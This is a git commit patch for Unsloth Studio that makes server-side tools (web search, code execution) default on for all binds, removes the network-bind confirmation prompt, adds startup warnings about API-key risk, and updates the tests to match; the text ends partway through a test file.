* Align _emit_startup_output banner test with the moved stop hint

The tool-policy notice now prints between the access banner and the stop
hint, so the stop hint is emitted once at the end instead of inline in the
banner (include_stop_hint is False and print_studio_stop_hint runs once).
Update the plain-localhost case to match; the mismatch and wildcard cases
already asserted this wiring.

---------

Co-authored-by: Michael Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/run.py                         |  94 ++++++--
 .../tests/test_secure_tools_execute.py        | 211 ++++++++++++++++++
 .../backend/tests/test_secure_tunnel_gate.py  |  73 +++++-
 .../test_unsloth_run_tool_policy_resolver.py  |  99 ++++----
 tests/studio/install/test_selection_logic.py  |   6 +-
 unsloth_cli/_tool_policy.py                   |  45 +---
 unsloth_cli/commands/studio.py                |  72 +++---
 unsloth_cli/tests/test_studio_secure_flag.py  |  81 ++++++-
 8 files changed, 509 insertions(+), 172 deletions(-)
 create mode 100644 studio/backend/tests/test_secure_tools_execute.py

diff --git a/studio/backend/run.py b/studio/backend/run.py
index 469365f588..15bb075527 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -395,7 +395,38 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
         pass
 
 
-def _emit_secure_startup_output(port: int) -> None:
+def _tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") -> str:
+    """One-line tool-policy summary for the plain-server startup banner, so a
+    network-reachable launch is never silent about code execution."""
+    if enable_tools is False:
+        return "Server-side tools are DISABLED (--disable-tools)."
+    state = (
+        "ENABLED (--enable-tools)"
+        if enable_tools
+        else "ENABLED by default (per-request setting honored)"
+    )
+    if secure:
+        return (
+            f"Server-side tools are {state}, reachable via the authenticated "
+            "Cloudflare HTTPS tunnel. Anyone with the API key can run code on "
+            "this machine. Do not share the API key. Pass --disable-tools to turn off."
+        )
+    from utils.host_policy import is_external_host
+
+    if host in ("0.0.0.0", "::") or is_external_host(host):
+        return (
+            f"Server-side tools are {state} and this port is network-reachable. "
+            "Anyone who can reach it with the API key can run code on this "
+            "machine. Do not share the API key. Pass --disable-tools to turn off."
+        )
+    return f"Server-side tools are {state} for loopback. Pass --disable-tools to turn off."
+
+
+def _emit_tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") -> None:
+    print(_tool_policy_notice(host, secure, enable_tools), flush = True)
+
+
+def _emit_secure_startup_output(port: int, enable_tools: "Optional[bool]" = None) -> None:
     """Secure-mode banner: only the Cloudflare link (loopback has no public raw URL)."""
     print("")
     print("🦥 Unsloth Studio is running (secure)")
@@ -403,6 +434,7 @@ def _emit_secure_startup_output(port: int) -> None:
     _print_cloudflare_line()
     print(f"  On this machine only: http://127.0.0.1:{port}/")
     print("─" * 52)
+    _emit_tool_policy_notice("127.0.0.1", True, enable_tools)
     print_studio_stop_hint()
 
 
@@ -411,35 +443,28 @@ def _emit_startup_output(
     port: int,
     display_host: str,
     secure: bool = False,
+    enable_tools: "Optional[bool]" = None,
 ) -> None:
-    """Print the access banner plus any post-startup warnings.
-
-    Extracted from ``_run`` so the banner/warning wiring is testable. The
-    ``localhost``-to-::1 mismatch warning and the wildcard reachability
-    check are mutually exclusive (the mismatch helper returns None for any
-    non-127.0.0.1 bind, and wildcard binds are never 127.0.0.1), so the
-    trailing stop hint is emitted exactly once.
-    """
+    """Print the access banner, post-startup warnings, the tool-policy notice,
+    then a single stop hint. Extracted from ``_run`` so the wiring is testable."""
     if secure:
-        _emit_secure_startup_output(port)
+        _emit_secure_startup_output(port, enable_tools)
         return
     wildcard_bind = host in ("0.0.0.0", "::")
     localhost_mismatch_url = _localhost_ipv6_mismatch_url(host, port)
-    # For wildcard binds, run the reachability check between the URL
-    # section and the stop hint so the stop hint stays last.
     print_studio_access_banner(
         port = port,
         bind_host = host,
         display_host = display_host,
-        include_stop_hint = not wildcard_bind and not localhost_mismatch_url,
+        include_stop_hint = False,
     )
     if localhost_mismatch_url:
         _print_localhost_ipv6_mismatch_warning(localhost_mismatch_url, port)
-        print_studio_stop_hint()
     elif wildcard_bind:
         _verify_global_reachability(display_host, port)
         _print_cloudflare_line()
-        print_studio_stop_hint()
+    _emit_tool_policy_notice(host, False, enable_tools)
+    print_studio_stop_hint()
 
 
 def _print_cloudflare_line() -> None:
@@ -845,15 +870,15 @@ def _cloudflare_tunnel_should_start(
     return cloudflare and (host == "0.0.0.0" or secure) and not api_only and not is_colab
 
 
-def _apply_default_tool_policy(host: str, secure: bool) -> None:
-    """Force server-side tools off on network-reachable launches (0.0.0.0 or --secure)
-    so a public endpoint can't run code via a client's `enable_tools`. `unsloth studio
-    run` installs its own resolved policy and bypasses this."""
-    if not (secure or host == "0.0.0.0"):
+def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None:
+    """Honor an explicit --enable-tools/--disable-tools; None leaves the policy
+    unset (tools default on, per-request enable_tools honored). Host is never
+    inspected here."""
+    if enable_tools is None:
         return
     from state.tool_policy import set_tool_policy
 
-    set_tool_policy(False)
+    set_tool_policy(enable_tools)
 
 
 def run_server(
@@ -865,6 +890,7 @@ def run_server(
     llama_parallel_slots: int = 1,
     cloudflare: bool = True,
     secure: bool = False,
+    enable_tools: "Optional[bool]" = None,
 ):
     """
     Start the FastAPI server.
@@ -876,6 +902,8 @@ def run_server(
         silent: Suppress startup messages
         api_only: API server only, no frontend (for Tauri desktop app)
         llama_parallel_slots: parallel slots for llama-server
+        enable_tools: explicit --enable-tools/--disable-tools policy; None leaves
+            the default (tools on, per-request enable_tools honored)
 
     Note:
         Signal handlers are NOT registered here so embedders (e.g. Colab) keep
@@ -898,8 +926,8 @@ def run_server(
     if secure:
         host = "127.0.0.1"
 
-    # `unsloth studio run` overrides this afterward with its resolved policy.
-    _apply_default_tool_policy(host, secure)
+    # `unsloth studio run` installs its own resolved policy and passes None here.
+    _apply_cli_tool_policy(enable_tools)
 
     # Windows cp1252 can't encode emoji; reconfigure stdout to UTF-8.
     if sys.platform == "win32" and hasattr(sys.stdout, "reconfigure"):
@@ -1141,7 +1169,7 @@ def run_server(
         sys.exit(1)
 
     if not silent:
-        _emit_startup_output(host, port, display_host, secure = secure)
+        _emit_startup_output(host, port, display_host, secure = secure, enable_tools = enable_tools)
 
     return app
 
@@ -1193,6 +1221,23 @@ if __name__ == "__main__":
         "if the tunnel can't start. Without it, --not-secure also serves the raw "
         "0.0.0.0 port, which is reachable from anywhere on the network",
     )
+    # Tri-state tool policy: no flag -> None (tools on, per-request honored);
+    # --enable-tools/--disable-tools force on/off.
+    parser.add_argument(
+        "--enable-tools",
+        dest = "enable_tools",
+        action = "store_true",
+        default = None,
+        help = "Force server-side tools (web search, code execution) on for "
+        "every request. Default: on for every bind, per-request setting honored.",
+    )
+    parser.add_argument(
+        "--disable-tools",
+        dest = "enable_tools",
+        action = "store_false",
+        default = None,
+        help = "Force server-side tools off for every request.",
+    )
     # Mirror unsloth_cli/commands/studio.py's _PARALLEL_*. Default 1 is for direct
     # backend launches; `unsloth studio run` always passes its own value (4).
     _PARALLEL_MIN = 1
@@ -1225,6 +1270,7 @@ if __name__ == "__main__":
         llama_parallel_slots = args.parallel,
         cloudflare = args.cloudflare,
         secure = args.secure,
+        enable_tools = args.enable_tools,
     )
     if args.frontend is not None:
         kwargs["frontend_path"] = Path(args.frontend)
diff --git a/studio/backend/tests/test_secure_tools_execute.py b/studio/backend/tests/test_secure_tools_execute.py
new file mode 100644
index 0000000000..d8c76091e4
--- /dev/null
+++ b/studio/backend/tests/test_secure_tools_execute.py
@@ -0,0 +1,211 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Server-side tools actually EXECUTE when policy leaves them on (the `--secure`
+contract). A fake llama-server stream emits native tool calls and the real
+``execute_tool`` runs them: python counts 1..100, terminal returns a UTC
+datetime, and web_search is exercised through real ``_web_search`` with only the
+``ddgs`` network boundary mocked. No model, GPU, or live network. The policy
+tie-in proves the post-fix secure path (policy ``None`` + per-request
+``enable_tools``) is what keeps these executions reachable.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import copy
+import json
+import re
+import sys
+from datetime import datetime, timedelta, timezone
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.llama_cpp import LlamaCppBackend
+from state.tool_policy import get_tool_policy, reset_tool_policy, set_tool_policy
+
+
+# ── Fake llama-server stream (mirrors test_llama_cpp_tool_loop.py) ──
+
+
+def _sse(delta: dict) -> str:
+    return "data: " + json.dumps({"choices": [{"index": 0, "delta": delta}]}) + "\n"
+
+
+def _done() -> str:
+    return "data: [DONE]\n"
+
+
+def _tool_call_stream(tool_name: str, arguments: dict, call_id: str) -> list[str]:
+    return [
+        _sse(
+            {
+                "tool_calls": [
+                    {
+                        "index": 0,
+                        "id": call_id,
+                        "type": "function",
+                        "function": {"name": tool_name, "arguments": json.dumps(arguments)},
+                    }
+                ]
+            }
+        ),
+        _done(),
+    ]
+
+
+def _final_stream(text: str = "Done.") -> list[str]:
+    return [_sse({"content": text}), _done()]
+
+
+def _make_backend(monkeypatch, streams: list[list[str]]):
+    backend = LlamaCppBackend.__new__(LlamaCppBackend)
+    backend._process = object()
+    backend._healthy = True
+    backend._port = 48851
+    backend._api_key = None
+    backend._effective_context_length = 4096
+    backend._supports_reasoning = False
+    backend._reasoning_always_on = False
+    backend._reasoning_style = "enable_thinking"
+    backend._supports_preserve_thinking = False
+
+    @contextlib.contextmanager
+    def fake_stream_with_retry(
+        _client,
+        _url,
+        payload,
+        _cancel_event,
+        headers = None,
+        first_token_deadline = None,
+    ):
+        yield type("FakeResponse", (), {"status_code": 200, "chunks": streams.pop(0)})()
+
+    def fake_iter_text_cancellable(
+        response,
+        _cancel_event,
+        first_token_deadline = None,
+    ):
+        yield from response.chunks
+
+    monkeypatch.setattr(backend, "_stream_with_retry", fake_stream_with_retry)
+    monkeypatch.setattr(backend, "_iter_text_cancellable", fake_iter_text_cancellable)
+    return backend
+
+
+def _tool_schema(name: str) -> dict:
+    return {
+        "type": "function",
+        "function": {
+            "name": name,
+            "description": f"{name} tool",
+            "parameters": {"type": "object", "properties": {}},
+        },
+    }
+
+
+def _run_one_tool(monkeypatch, tool_name: str, arguments: dict) -> str:
+    """Drive the agentic loop with one tool call and return its real result."""
+    backend = _make_backend(
+        monkeypatch,
+        [_tool_call_stream(tool_name, arguments, f"call_{tool_name}"), _final_stream()],
+    )
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": f"use the {tool_name} tool"}],
+            tools = [_tool_schema(tool_name)],
+            max_tool_iterations = 1,
+        )
+    )
+    tool_ends = [
+        e for e in events if e.get("type") == "tool_end" and e.get("tool_name") == tool_name
+    ]
+    assert tool_ends, f"loop never executed {tool_name}; events={[e.get('type') for e in events]}"
+    return tool_ends[0]["result"]
+
+
+@pytest.fixture(autouse = True)
+def _reset_policy():
+    reset_tool_policy()
+    yield
+    reset_tool_policy()
+
+
+# ── Real tool execution under the loop ──
+
+
+def test_python_tool_counts_to_100(monkeypatch):
+    # "Use the python tool to count from 1 to 100."
+    expected = " ".join(str(i) for i in range(1, 101))
+    result = _run_one_tool(
+        monkeypatch, "python", {"code": "print(' '.join(str(i) for i in range(1, 101)))"}
+    )
+    assert expected in result, result  # real subprocess produced the full sequence
+
+
+def test_bash_tool_returns_current_datetime(monkeypatch):
+    # "Use the bash tool to provide today's datetime." Bound the parsed UTC time
+    # to the call window rather than a hard-coded date (survives midnight/TZ).
+    before = datetime.now(timezone.utc) - timedelta(seconds = 5)
+    result = _run_one_tool(monkeypatch, "terminal", {"command": "date -u +%Y-%m-%dT%H:%M:%SZ"})
+    after = datetime.now(timezone.utc) + timedelta(seconds = 5)
+
+    match = re.search(r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z", result)
+    assert match, f"no UTC datetime in terminal result: {result!r}"
+    parsed = datetime.strptime(match.group(), "%Y-%m-%dT%H:%M:%SZ").replace(tzinfo = timezone.utc)
+    assert before <= parsed <= after, f"{parsed} not in [{before}, {after}]"
+
+
+def test_web_search_tool_runs_with_mocked_fetch(monkeypatch):
+    # "Web search for the weather for San Francisco's weather." Mock only the
+    # ddgs network boundary; real _web_search formats the canned hit.
+    class _FakeDDGS:
+        def __init__(self, *a, **k):
+            pass
+
+        def text(
+            self,
+            query,
+            max_results = 5,
+        ):
+            return [
+                {
+                    "title": "San Francisco Weather",
+                    "href": "https://example.test/sf",
+                    "body": "San Francisco: sunny, 68F.",
+                }
+            ]
+
+    monkeypatch.setattr("ddgs.DDGS", _FakeDDGS)
+    result = _run_one_tool(monkeypatch, "web_search", {"query": "weather in San Francisco"})
+    assert "San Francisco: sunny, 68F." in result, result
+    assert "https://example.test/sf" in result
+
+
+# ── Policy tie-in: the post-fix `--secure` path keeps tools reachable ──
+
+
+class _Payload:
+    def __init__(self, enable_tools):
+        self.enable_tools = enable_tools
+
+
+def test_effective_enable_tools_honors_secure_policy():
+    from routes.inference import _effective_enable_tools
+
+    # Post-fix --secure leaves policy None, so the request's flag is honored.
+    set_tool_policy(None)
+    assert _effective_enable_tools(_Payload(True)) is True
+    assert _effective_enable_tools(_Payload(False)) is False
+    assert get_tool_policy() is None
+
+    # --enable-tools forces on; the old --secure (forced off) suppresses tools.
+    set_tool_policy(True)
+    assert _effective_enable_tools(_Payload(False)) is True
+    set_tool_policy(False)
+    assert _effective_enable_tools(_Payload(True)) is False
diff --git a/studio/backend/tests/test_secure_tunnel_gate.py b/studio/backend/tests/test_secure_tunnel_gate.py
index 6d9b6be892..469a1619f5 100644
--- a/studio/backend/tests/test_secure_tunnel_gate.py
+++ b/studio/backend/tests/test_secure_tunnel_gate.py
@@ -60,24 +60,79 @@ def test_run_server_accepts_secure_kwarg():
     assert inspect.signature(run.run_server).parameters["secure"].default is False
 
 
-def test_plain_network_launch_forces_tools_off():
-    # Network-reachable launches (0.0.0.0 or --secure) must force server-side tools off.
+def test_run_server_accepts_enable_tools_kwarg():
+    import inspect
+
+    import run
+
+    params = inspect.signature(run.run_server).parameters
+    assert "enable_tools" in params
+    assert params["enable_tools"].default is None  # default: leave policy unset
+
+
+def test_tool_policy_not_auto_disabled_by_bind():
+    # Tools default on for every bind; the backend only changes the policy from
+    # an explicit --enable-tools/--disable-tools, never from host/secure.
     import run
     from state.tool_policy import get_tool_policy, reset_tool_policy
 
-    reset_tool_policy()
-    run._apply_default_tool_policy("127.0.0.1", False)
-    assert get_tool_policy() is None  # loopback: untouched (per-request honored)
-
-    run._apply_default_tool_policy("0.0.0.0", False)
-    assert get_tool_policy() is False  # network bind: forced off
+    for host in ("127.0.0.1", "localhost", "0.0.0.0"):
+        reset_tool_policy()
+        run._apply_cli_tool_policy(None)  # no flag, on any bind
+        assert get_tool_policy() is None, host  # untouched: per-request honored
 
     reset_tool_policy()
-    run._apply_default_tool_policy("127.0.0.1", True)  # --secure (public tunnel)
+    run._apply_cli_tool_policy(True)  # --enable-tools: forced on
+    assert get_tool_policy() is True
+
+    reset_tool_policy()
+    run._apply_cli_tool_policy(False)  # --disable-tools: forced off
     assert get_tool_policy() is False
     reset_tool_policy()
 
 
+def test_tool_policy_notice_wording():
+    # The plain-server startup banner states the resolved policy for every bind.
+    import run
+
+    loopback = run._tool_policy_notice("127.0.0.1", False, None)
+    assert "ENABLED by default" in loopback and "loopback" in loopback
+
+    network = run._tool_policy_notice("0.0.0.0", False, None)
+    assert "ENABLED by default" in network and "network-reachable" in network
+
+    secure = run._tool_policy_notice("127.0.0.1", True, None)
+    assert "Cloudflare HTTPS tunnel" in secure
+
+    assert run._tool_policy_notice("0.0.0.0", False, False) == (
+        "Server-side tools are DISABLED (--disable-tools)."
+    )
+    assert "ENABLED (--enable-tools)" in run._tool_policy_notice("0.0.0.0", False, True)
+
+
+def test_startup_output_emits_tool_notice_on_network_bind(capsys, monkeypatch):
+    # Plain `unsloth studio -H 0.0.0.0` must not be silent about tools now.
+    import run
+
+    monkeypatch.setattr(run, "_verify_global_reachability", lambda *a, **k: None)
+    monkeypatch.setattr(run, "_print_cloudflare_line", lambda: None)
+    monkeypatch.setattr(run, "_localhost_ipv6_mismatch_url", lambda *a, **k: None)
+
+    run._emit_startup_output("0.0.0.0", 8000, "0.0.0.0", secure = False, enable_tools = None)
+    out = capsys.readouterr().out
+    assert "Server-side tools" in out
+    assert "network-reachable" in out
+
+
+def test_startup_output_emits_disabled_notice(capsys, monkeypatch):
+    import run
+
+    monkeypatch.setattr(run, "_localhost_ipv6_mismatch_url", lambda *a, **k: None)
+    run._emit_startup_output("127.0.0.1", 8000, "127.0.0.1", secure = False, enable_tools = False)
+    out = capsys.readouterr().out
+    assert "Server-side tools are DISABLED" in out
+
+
 def test_run_server_rejects_secure_without_cloudflare():
     # Direct backend callers (not just the CLI) must reject the contradictory combo.
     import run
diff --git a/tests/python/test_unsloth_run_tool_policy_resolver.py b/tests/python/test_unsloth_run_tool_policy_resolver.py
index 00d4996368..2f13a17b69 100644
--- a/tests/python/test_unsloth_run_tool_policy_resolver.py
+++ b/tests/python/test_unsloth_run_tool_policy_resolver.py
@@ -1,23 +1,16 @@
 # Copyright 2025-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Truth-table tests for `resolve_tool_policy` behind `unsloth run --enable-tools/--disable-tools`."""
+"""Truth-table tests for `resolve_tool_policy`: tools default on for every bind
+(loopback, --secure tunnel, raw network), explicit on/off wins, and the resolver
+never prompts (yes/silent/prompt kept for compatibility)."""
 
 import pytest
-import typer
 
 from unsloth_cli._tool_policy import is_external_host, resolve_tool_policy
 
 
 def _never_prompt(_msg: str) -> bool:
-    raise AssertionError("prompt should not have been called")
-
-
-def _prompt_yes(_msg: str) -> bool:
-    return True
-
-
-def _prompt_no(_msg: str) -> bool:
-    return False
+    raise AssertionError("resolve_tool_policy must not prompt")
 
 
 class TestLocalhostHost:
@@ -59,7 +52,8 @@ class TestLocalhostHost:
 
 
 class TestZeroHost:
-    def test_default_is_off(self):
+    def test_default_is_on(self):
+        # Network bind defaults ON now (operator owns network security).
         assert (
             resolve_tool_policy(
                 host = "0.0.0.0",
@@ -68,7 +62,7 @@ class TestZeroHost:
                 silent = False,
                 prompt = _never_prompt,
             )
-            is False
+            is True
         )
 
     def test_explicit_off_no_prompt(self):
@@ -83,53 +77,31 @@ class TestZeroHost:
             is False
         )
 
-    def test_explicit_on_silent_skips_prompt(self):
+    def test_explicit_on_no_prompt(self):
         assert (
             resolve_tool_policy(
                 host = "0.0.0.0",
                 flag = True,
                 yes = False,
+                silent = False,
+                prompt = _never_prompt,
+            )
+            is True
+        )
+
+    def test_yes_and_silent_accepted_but_do_not_change_result(self):
+        # Retained for backward compatibility; they no longer gate the result.
+        assert (
+            resolve_tool_policy(
+                host = "0.0.0.0",
+                flag = None,
+                yes = True,
                 silent = True,
                 prompt = _never_prompt,
             )
             is True
         )
 
-    def test_explicit_on_yes_skips_prompt(self):
-        assert (
-            resolve_tool_policy(
-                host = "0.0.0.0",
-                flag = True,
-                yes = True,
-                silent = False,
-                prompt = _never_prompt,
-            )
-            is True
-        )
-
-    def test_explicit_on_prompt_yes(self):
-        assert (
-            resolve_tool_policy(
-                host = "0.0.0.0",
-                flag = True,
-                yes = False,
-                silent = False,
-                prompt = _prompt_yes,
-            )
-            is True
-        )
-
-    def test_explicit_on_prompt_no_aborts(self):
-        with pytest.raises(typer.Exit) as exc_info:
-            resolve_tool_policy(
-                host = "0.0.0.0",
-                flag = True,
-                yes = False,
-                silent = False,
-                prompt = _prompt_no,
-            )
-        assert exc_info.value.exit_code == 1
-
 
 class TestIsExternalHost:
     @pytest.mark.parametrize("host", ["127.0.0.1", "localhost", "::1", "LOCALHOST", "Localhost"])
@@ -144,9 +116,9 @@ class TestIsExternalHost:
 
 
 class TestSpecificNetworkIP:
-    """Binding to a specific LAN IP must follow the same rules as 0.0.0.0."""
+    """Binding to a specific LAN IP follows the same default-on rules as 0.0.0.0."""
 
-    def test_default_is_off(self):
+    def test_default_is_on(self):
         assert (
             resolve_tool_policy(
                 host = "192.168.1.5",
@@ -155,27 +127,32 @@ class TestSpecificNetworkIP:
                 silent = False,
                 prompt = _never_prompt,
             )
-            is False
+            is True
         )
 
-    def test_explicit_on_prompts(self):
-        seen = []
-
-        def _prompt(msg: str) -> bool:
-            seen.append(msg)
-            return True
-
+    def test_explicit_on_no_prompt(self):
         assert (
             resolve_tool_policy(
                 host = "192.168.1.5",
                 flag = True,
                 yes = False,
                 silent = False,
-                prompt = _prompt,
+                prompt = _never_prompt,
             )
             is True
         )
-        assert any("192.168.1.5" in m for m in seen)
+
+    def test_explicit_off(self):
+        assert (
+            resolve_tool_policy(
+                host = "192.168.1.5",
+                flag = False,
+                yes = False,
+                silent = False,
+                prompt = _never_prompt,
+            )
+            is False
+        )
 
     def test_localhost_alias_does_not_prompt(self):
         assert (
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index bb82811614..64715a6327 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -422,9 +422,11 @@ class TestStudioLocalhostIpv6Warning:
 
         run_module._emit_startup_output("127.0.0.1", 8888, "127.0.0.1")
 
-        assert calls["banner"][0]["include_stop_hint"] is True
+        # The stop hint no longer rides inside the banner: it is printed once at the
+        # end so it stays the final line after the tool-policy notice.
+        assert calls["banner"][0]["include_stop_hint"] is False
         assert calls["warning"] == []
-        assert calls["stop_hint"] == 0
+        assert calls["stop_hint"] == 1
         assert calls["reachability"] == []
 
     @pytest.mark.parametrize("host", ["0.0.0.0", "::"])
diff --git a/unsloth_cli/_tool_policy.py b/unsloth_cli/_tool_policy.py
index f74be6d461..5d854c0837 100644
--- a/unsloth_cli/_tool_policy.py
+++ b/unsloth_cli/_tool_policy.py
@@ -1,6 +1,6 @@
 # Copyright 2025-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Pure resolver for `unsloth run --enable-tools/--disable-tools`.
+"""Pure resolver for `unsloth studio [run] --enable-tools/--disable-tools`.
 
 Kept as a standalone module so the truth table can be unit-tested
 without spinning up Typer or the studio venv.
@@ -10,9 +10,6 @@ from typing import Callable, Optional
 
 import typer
 
-# Orange so the security warning stands out in a crowded terminal.
-_PROMPT_FG = (217, 119, 87)
-
 # Loopback aliases; any other bind address is treated as network-reachable.
 # Mirrored in studio/backend/utils/host_policy.py (kept separate because the
 # backend is self-contained); keep the two in sync.
@@ -24,19 +21,6 @@ def is_external_host(host: str) -> bool:
     return host.lower() not in _LOOPBACK_HOSTS
 
 
-def _build_prompt_text(host: str) -> str:
-    return typer.style(
-        (
-            f"Tools include arbitrary code execution (Python, terminal). "
-            f"You're binding to {host}, which is reachable from your network. "
-            f"If your API key leaks, anyone with it can run code on this machine. "
-            f"Do not share the API key. Continue?"
-        ),
-        fg = _PROMPT_FG,
-        bold = True,
-    )
-
-
 def resolve_tool_policy(
     host: str,
     flag: Optional[bool],
@@ -44,25 +28,8 @@ def resolve_tool_policy(
     silent: bool,
     prompt: Callable[[str], bool] = typer.confirm,
 ) -> bool:
-    """Return the resolved server-side tool policy.
-
-    Args:
-        host: The bind address.
-        flag: Tri-state from `--enable-tools/--disable-tools` (None if neither passed).
-        yes: True if `--yes/-y` was passed.
-        silent: True if `--silent/-q` was passed.
-        prompt: Confirmation callable (injected for testability).
-
-    Raises:
-        typer.Exit: when the operator declines the confirmation.
-    """
-    is_external = is_external_host(host)
-    default = not is_external  # loopback defaults on, network defaults off
-
-    resolved = default if flag is None else flag
-
-    if is_external and resolved is True and not yes and not silent:
-        if not prompt(_build_prompt_text(host)):
-            raise typer.Exit(1)
-
-    return resolved
+    """Resolve the server-side tool policy. Tools default on for every bind;
+    an explicit --enable-tools/--disable-tools (`flag`) forces on/off. `host`,
+    `yes`, `silent`, `prompt` are kept for signature compatibility and no longer
+    affect the result (network binds no longer prompt)."""
+    return True if flag is None else flag
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index fa7a103797..58a03bd12b 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -682,6 +682,12 @@ def studio_default(
         help = "Log every API request, including the high-frequency polling that is "
         "deduplicated by default.",
     ),
+    enable_tools: Optional[bool] = typer.Option(
+        None,
+        "--enable-tools/--disable-tools",
+        help = "Force server-side tools (web search, code execution) on or off for "
+        "every request. Default: on for every bind, with the per-chat UI toggle honored.",
+    ),
 ):
     """Launch the Unsloth Studio server."""
     # Runs before every subcommand (run/setup/update/...).
@@ -729,6 +735,17 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
+        # Same for --enable-tools/--disable-tools: it would not reach the subcommand.
+        if enable_tools is not None:
+            _tool_flag = "--enable-tools" if enable_tools else "--disable-tools"
+            typer.echo(
+                f"Error: {_tool_flag} on `unsloth studio` applies to the "
+                f"plain-server path only. For `unsloth studio "
+                f"{ctx.invoked_subcommand}`, put it after the subcommand: "
+                f"`unsloth studio {ctx.invoked_subcommand} {_tool_flag} ...`",
+                err = True,
+            )
+            raise typer.Exit(2)
         return
 
     # --secure requires the tunnel; force a loopback bind.
@@ -782,6 +799,11 @@ def studio_default(
             # Forward the explicit polarity (matches run.py's BooleanOptionalAction).
             args.append("--cloudflare" if cloudflare else "--no-cloudflare")
             args.append("--secure" if secure else "--not-secure")
+            # Forward an explicit tool policy; None -> run.py leaves it unset (tools on).
+            if enable_tools is True:
+                args.append("--enable-tools")
+            elif enable_tools is False:
+                args.append("--disable-tools")
             # On Windows os.execvp keeps the parent alive, so Ctrl+C
             # would orphan the child; use Popen+wait instead.
             if sys.platform == "win32":
@@ -825,6 +847,7 @@ def studio_default(
         llama_parallel_slots = parallel,
         cloudflare = cloudflare,
         secure = secure,
+        enable_tools = enable_tools,
     )
     if frontend is not None:
         run_kwargs["frontend_path"] = frontend
@@ -981,15 +1004,15 @@ def run(
         None,
         "--enable-tools/--disable-tools",
         help = (
-            "Force server-side tools on/off for all requests. "
-            "Default: on for 127.0.0.1, off for 0.0.0.0."
+            "Force server-side tools (web search, code execution) on or off for "
+            "every request. Default: on for every bind."
         ),
     ),
     yes: bool = typer.Option(
         False,
         "--yes",
         "-y",
-        help = "Skip the 0.0.0.0 + --enable-tools confirmation prompt.",
+        help = "Accepted for backward compatibility; the tool policy no longer prompts.",
     ),
     parallel: int = typer.Option(
         _PARALLEL_DEFAULT_RUN,
@@ -1103,16 +1126,13 @@ def run(
             raise typer.Exit(2)
         host = "127.0.0.1"
 
-    # Gate tools on the *public* exposure: --secure is public via the tunnel, so
-    # tools default off even though the bind is loopback.
-    tool_policy_host = "0.0.0.0" if secure else host
-
-    # Resolve tool policy here so the re-exec'd child inherits a
-    # concrete decision and never re-prompts.
+    # Tool policy no longer depends on the bind: tools default on everywhere
+    # (--secure is a loopback tunnel; the operator owns a raw bind). Resolve here
+    # so the re-exec'd child inherits a concrete decision.
     from unsloth_cli._tool_policy import is_external_host, resolve_tool_policy
 
     enable_tools = resolve_tool_policy(
-        host = tool_policy_host,
+        host = host,
         flag = enable_tools,
         yes = yes,
         silent = silent,
@@ -1161,8 +1181,8 @@ def run(
             args.append("--enable-tools")
         else:
             args.append("--disable-tools")
-        # Forward --yes if the parent already cleared the network-bind prompt.
-        if yes or (enable_tools and is_external_host(tool_policy_host)):
+        # Forward --yes only if the user passed it; resolution no longer prompts.
+        if yes:
             args.append("--yes")
         # Typer claims --parallel outside ctx.args; without this the
         # child reverts to its default and silently drops the value.
@@ -1265,27 +1285,25 @@ def run(
     # Orange so the tool-policy notice stands out; printed under
     # --silent / --yes too so the policy is never invisible.
     _tool_notice_fg = (217, 119, 87)
-    _is_external = is_external_host(tool_policy_host)
-    _exposure = "the public Cloudflare tunnel" if secure else host
-    if _is_external and enable_tools:
+    _is_external = is_external_host(host)
+    if not enable_tools:
+        _tool_notice = "Server-side tools are DISABLED (--disable-tools)."
+    elif secure:
         _tool_notice = (
-            f"Server-side tools are ENABLED on {_exposure} (network-reachable). "
-            f"Anyone with the API key can run code on this machine. "
-            f"Do not share the API key."
+            "Server-side tools are ENABLED, reachable via the authenticated "
+            "Cloudflare HTTPS tunnel. Anyone with the API key can run code on "
+            "this machine. Do not share the API key. Pass --disable-tools to turn off."
         )
     elif _is_external:
         _tool_notice = (
-            f"Server-side tools are disabled by default on {_exposure} "
-            f"(network-reachable). Pass --enable-tools to turn on "
-            f"(you will be warned about API-key risk)."
-        )
-    elif enable_tools:
-        _tool_notice = (
-            "Server-side tools are enabled by default for loopback. "
-            "Pass --disable-tools to turn off."
+            "Server-side tools are ENABLED and this port is network-reachable. "
+            "Anyone who can reach it with the API key can run code on this "
+            "machine. Do not share the API key. Pass --disable-tools to turn off."
         )
     else:
-        _tool_notice = "Server-side tools are disabled."
+        _tool_notice = (
+            "Server-side tools are ENABLED for loopback. Pass --disable-tools to turn off."
+        )
 
     if not silent:
         typer.echo("")
diff --git a/unsloth_cli/tests/test_studio_secure_flag.py b/unsloth_cli/tests/test_studio_secure_flag.py
index 2c6f1ebf9e..9ed9325011 100644
--- a/unsloth_cli/tests/test_studio_secure_flag.py
+++ b/unsloth_cli/tests/test_studio_secure_flag.py
@@ -237,11 +237,12 @@ def test_studio_default_rejects_secure_with_subcommand():
     assert "--secure" in combined, combined
 
 
-# ── secure resolves tools against the PUBLIC exposure, not the loopback bind ──
+# ── secure resolves tools against the loopback bind (tools stay ON) ──
 
 
-def test_run_secure_resolves_tools_against_public_host(monkeypatch):
